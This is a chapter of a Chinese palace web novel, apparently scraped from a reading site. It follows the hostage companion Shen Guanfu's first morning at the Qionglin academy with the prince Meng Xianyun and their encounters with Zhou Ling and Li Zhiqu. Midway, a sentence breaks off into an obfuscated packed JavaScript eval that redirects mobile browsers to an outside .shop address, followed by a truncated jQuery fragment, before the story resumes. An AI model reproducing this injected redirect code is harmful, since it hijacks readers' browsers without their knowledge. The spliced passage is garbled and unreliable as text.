文趣网 > 玄幻小说 > 为帝 > 15. 书院春景深
    沈观复硬要走去书院,孟显允同他商量:“迟了时辰该当如何?”

    “不会吧,这会天还黑着呢……”

    沈观复犹豫起来。

    沈观复回想起孟显允赶着去上课的样子,当即抿嘴哀求:“我现在是个小瘸子,殿下您行行好,到时候可别抛弃我。”

    孟显允:“坐轮椅去,差人在你身后推着。”

    沈观复扁嘴:“轮椅不威风,宫内又不能坐轿。”

    孟显允拆穿沈观复的心思:“你是觉得坐轮椅个头矮,气势没别人强?”

    沈观复:“殿下真是我肚中……”

    他话到嘴边拐个弯:“殿下是神仙嘛,这都猜得到。”

    孟显允:“长个有早晚,不必如此介怀。”

    沈家父子身姿欣长,身形挺阔,孟显允料定沈观复日后也会肖其父兄,现下不过是年龄尚幼的缘故尔。

    “殿下看,我踮起脚就不瘸了,”沈观复想一出是一出:“实在不行到时候我蹦过去。”

    “……”孟显允:“成何体统。”

    几回拉扯,最终沈观复如愿能“走”去琼林书院。

    沈观复私以为伴读便是半个仆从,在路上死活要与三山抢事干。

    三山见箱子被沈观复夺走,只恨手中提着灯笼肩上背着包袱,不能跪下来给沈观复磕两个头:

    “伴读大人,沈小公子,您放过小的吧,怎能让您拿这些家伙什?皇后娘娘知道了会让绣陶姑姑打我板子的!”

    “这样啊,可我手里不拿些东西也不像读书人。”沈观复在意着他初次登台露面的形象:“我已经读过“四书”了,他们要是笑……也会小声些的吧?”

    沈观复的后半句话是在问孟显允。

    才读过“四书”……总比没读过强上几分。

    孟显允只能对沈观复多加提点:“夫子要是询问,你需立即起身答话,不可马虎更不可妄言。”

    “能答出来便答,不能也无妨,我自会替你开解。”

    沈观复牵住孟显允的衣袖,乐哉:“先前都忘了,我有殿下,那还有何惧?”

    “我虽尚不通文墨,可文治武功两样,我……”

    孟显允:“观复武艺高超?”

    漠北虎狼沈家军,沈观复在漠北也许是学了的?

    沈观复笑嘻嘻,脸皮浑厚:“亦差矣。”

    ……果不该有指望。

    “多听多学多练,读书大抵如此,不难。”

    “君子立身不求文艺精深但也要博闻广知,以前人之鉴解人生困顿。”

    “六艺利于修身,慎独静思方知本心归处。”孟显允向沈观复确认:“听懂了吗?”

    沈观复歪着脑袋思考半天:“后半句没懂是什么意思。”

    孟显允:“明白前半句也可以了。”

    “唔,殿下喜欢读书人?”沈观复摇摇头自顾自说不对,“殿下欣赏文成武就的英才,是因为他们有用吗?”

    孟显允没答话。

    招揽天下英才那是皇帝才能有、才会做的事。

    这话他应不得。暂时。

    沈观复又问:“殿下,我还有一个问题。”

    “你说。”

    “殿下说以‘前人之鉴可解人生困顿’,殿下是这样做的吗?”

    “每次都能有用?若是翻遍史书也找不出有人与我当下有相同的境遇,那又该怎么做?”

    孟显允见在他面前蹦跶的沈观复。

    入京为质,受制于人,这等例子在史书里随手一翻便能找到一大把,来问他做什么?

    沈观复静静等回答。

    孟显允反应过来。

    沈观复这话竟是来问自己的。

    ——皇子和质子成为朝夕相伴的伴读,身为皇子的你会怎么做呢?

    又会怎样对我?

    孟显允不由得有些欣慰,看来沈观复真读过“四书”。

    孟显允认真回答沈观复:“明晰利害关系,确定立场,最后遵循本心。”

    三山听到这话吓得半死。

    太直白冷漠了。

    令人意外,沈观复并不觉得孟显允的话刺耳。

    “那我不用功不行了,殿下你放心吧,今日我一定好好听先生授课。”

    “殿下待我真心,我必与殿下同进同退。”

    “誓言不是这样用的,”孟显允见沈观复还牵着他的衣袖,有些无奈,“能好好听今日的课也不错。”

    三人到书院时,天刚蒙蒙亮。

    沈观复跳过书院门槛:“殿下,若是我学不来,可就全靠你了。”

    孟显允指了指自己身侧,让沈观复安分坐下:“你聪明,都学得会的。”

    此时曦光破云,照亮了屋脊上的瑞兽金顶,分射的几缕光通过书院常年的窗,落在了孟显允乌黑的眼睫上。

    好似一片正在延伸的墨色的云。

    沈观复懂规矩了许多,没有伸手去够。

    他们来得早,书院里暂时还没其他人,沈观复被冷风吹得有些坐立难安。

    “别动,坐端方些。”

    “殿下,我冷,能不能先将窗合上?”

    “不可。”孟显允已经打开了书翻到昨日做了朱批的那一页,显然是打算就这样在没有暖炉的殿里看书了。

    “为何啊?”

    沈观复这才发现这间大殿不仅打开了所有的窗,就连门都没合上。

    如有穿堂风,便是呜呜地朝殿内灌,又不安置暖炉,要是人病了怎么办。

    “祖训如此,都是这样过来的,我让三山多带了件衣裳,你现在就穿上吧。”

    大陈已历七代君王,国史也逾二百三十载,可以说是礼仪齐备,制度严谨。

    古人常言的寒窗苦读,在大陈皇室中践行得入木三分。

    为诸位皇子授课的琼林书院的主殿中就有六面大窗。

    三伏酷暑不安帷帘,三九寒冬不合窗柩,大门更是常年敞开,座位无暖垫,室内也没有炭炉和冰块。

    中暑晕倒,伤寒高热更是屡见不鲜。

    但祖宗之法不可变,众人牙咬碎了也没办法。

    如果只环境艰苦就罢了,众人忍忍也能过;但书院授课的夫子们大多曾位极人臣,又饱读诗书,冷脸斥责时出口成章,骂得人狗血淋头。

    诸人皆是王公贵族,自小金尊玉贵,在家中连句重话都没听过,被骂后屈辱懊悔之状恨不得直赴黄泉见祖宗。

    故言去琼林书院上一日课是勇气可嘉,能日日上课身心必定绝佳。

    孟显允从未告假一日,堪称另类。

    连惯会鸡蛋里挑骨头的李直曲都无话可说。

    沈观复身上披着的紫金大氅内里缝着厚实的狐裘,本就防风。

    那件特地为他带上的衣裳,也是担心他那条还没好全的腿在久坐时会冰冷。

    沈观复是突发奇想地要来上学,就这样孟显允还记得让三山多带件衣裳。

    沈观复:“殿下……”

    孟显允照旧,看书不爱抬头:“怎么?”

    沈观复食指轻轻敲击在紫檀桌上,不知他想了些什么。

    他说:“那我去穿上咯,殿下要是冷,我就靠你近一些。”

    孟显允继续翻书页,面对沈观复的撒娇不作多言,回应:“嗯,三山,带沈伴读去内殿将衣服换上。”

    此时,书院中已陆续有人到来。

    先来的两位一是太子伴读周陵,另一位是竟然是李直曲。

    周陵因为和孟琅允和孟显允关系亲近,客气地同孟显允行了同窗礼。

    李直曲住在国公府里,平时日上三竿也不见得会起来,今日稀奇,想必是有事情。

    孟显允问过周陵得知孟琅允卧病在床,今日也不能来了。

    “散学后我和你一同去看望皇兄。”

    周陵说话声同性格一样,温和无害:“近来新得的梅花白毫清冽幽香,十一殿下不妨陪太子品茗一盏。”

    孟显允允首:“自然好。”

    周陵落座后,李直曲也没吭声。

    其实李直曲向孟显允客套两句也无妨。

    上次的秋狩之事,孟显允还可以说得上是“救”了他们二人的性命,再往小了说,孟华允和孟显允不过兄弟之间的不对付,并没有真正撕破脸皮。

    李直曲

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490809|202214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这样横冲直撞,不值当。

    只是李直曲不去问候孟显允,孟显允自然不会搭理他。

    李直曲杵在窗前,不知道是吹冷风终于吹明白了。

    李直曲嘴角微动,刚要说话:“十一……”

    沈观复:“——殿下!现在我一点都不冷了!”

    从内殿出来的沈观复不仅添了件衣裳,就连手中也捧上了小暖炉。

    他兴奋地说:“三山的包袱里什么都有,就连炭火都备好了!”

    他蹦到孟显允身边,直接略过李直曲,当这人不存在似的,诧异与问候都没一声。

    “穿暖和了就坐过来,规矩一些。”

    周陵问:“可是沈小公子?”

    见到孟显允颔首,周陵又言:“那日宣德夜宴没能一见,今日相逢可是有缘。”

    “这位是成吉十二年的一甲进士,周御史之孙,周陵、周峪柏。”孟显允向沈观复介绍,“和你一样,周兄是太子殿下的伴读。”

    孟显允先说周陵的进士身份再说他是御史之孙,这种不露声色地抬高很有分寸。

    “我腿脚不便,往后再仔细拜会周郎君可好?”

    沈观复和周陵初次见面,行礼自然要规矩些,不然就落了孟显允的面子。

    沈观复回话后,借力起身,有样学样向周陵回礼,行礼时的些许偏差在先前那番话的掩饰下反倒显得稚嫩无邪。

    “怎当得起小世子的一声“郎君”,世子礼重了。”

    “嘿嘿,怎会,家父时常叮嘱我敬重读书人,周郎君是进士官人,不嫌弃我不通文墨就是看重我了,何来礼重一说?”

    周郎君看着沈观复令人生喜的面容,在听过他的回话后,客气地同孟显允说:“沈小世子真是个妙人,殿下有伴了。”

    孟显允微微一笑。周陵还真是圆滑。

    李直曲在几人停话的间隙,想将话插进去:“这……”

    沈观复又出声正好打断:“殿下!”

    李直曲:“……”

    “怎么?”

    “殿下散学后要同周郎君去看望太子殿下是吗?”

    见孟显允点头,沈观复问:“我能跟着殿下一起去吗?”

    不等孟显允拒绝他就开始缠人:“我想和殿下在一起,殿下先前也说周郎君和我一样是伴读,他在散学后都去陪太子殿下,我也要一样。”

    周陵见孟显允脸上浮现出的一丝无奈,心说孟显允这还真是养了个孩子。

    沈观复这样柔软情缠的孩子,不像是靖远候那样冷厉的人能养出来的。

    类其夫人?

    周陵比在场诸人都要年长,对京中旧事自然知晓得更多。

    靖远候沈霆唯有一妻,是朝中编撰谢家的女儿,名唤谢京安。

    谢父曾在王府授课,是先帝的授业恩师,故谢京安与沈霆及当时尚未即位的成吉帝自幼相识。

    谢京安在平梁留下的传闻并不多,在嫁与沈霆之后更是鲜少住在平梁。

    周陵在脑海中仔细搜寻着那些零星的传闻,拼拼凑凑,眼下的沈观复……似乎也不像谢京安。

    这份纯然许是天生的吧。

    孟显允:“又胡闹了。”

    沈观复扯了扯孟显允的腰带,说小话似的:“我不想一个人留在未济殿,殿下,别留我一个人。”

    “空落落的……”

    沈观复仰头望着孟显允,仿佛孟显允如果说出拒绝的话语,他就要和屋外的积雪一起消融了。

    ——没用。

    李直曲见此景地将头扭到一旁,孟显允怎么可能会答应沈观复?

    孟显允这家伙公是公、私是私,分得清楚得很。

    沈观复初来乍到就自以为孟显允好说话也是有够蠢的。

    “好。”

    “我去和太子哥哥说。”

    孟显允的应允很轻,轻得李直曲猛回头看向沈观复的眼里都带着惊疑。

    沈观复定定地望着李直曲,却是在问孟显允:“殿下,这位郎君也是进士官人吗?”

    身无功名的李直曲:“……”

    孟显允的伴读果然和孟显允一样让人厌烦!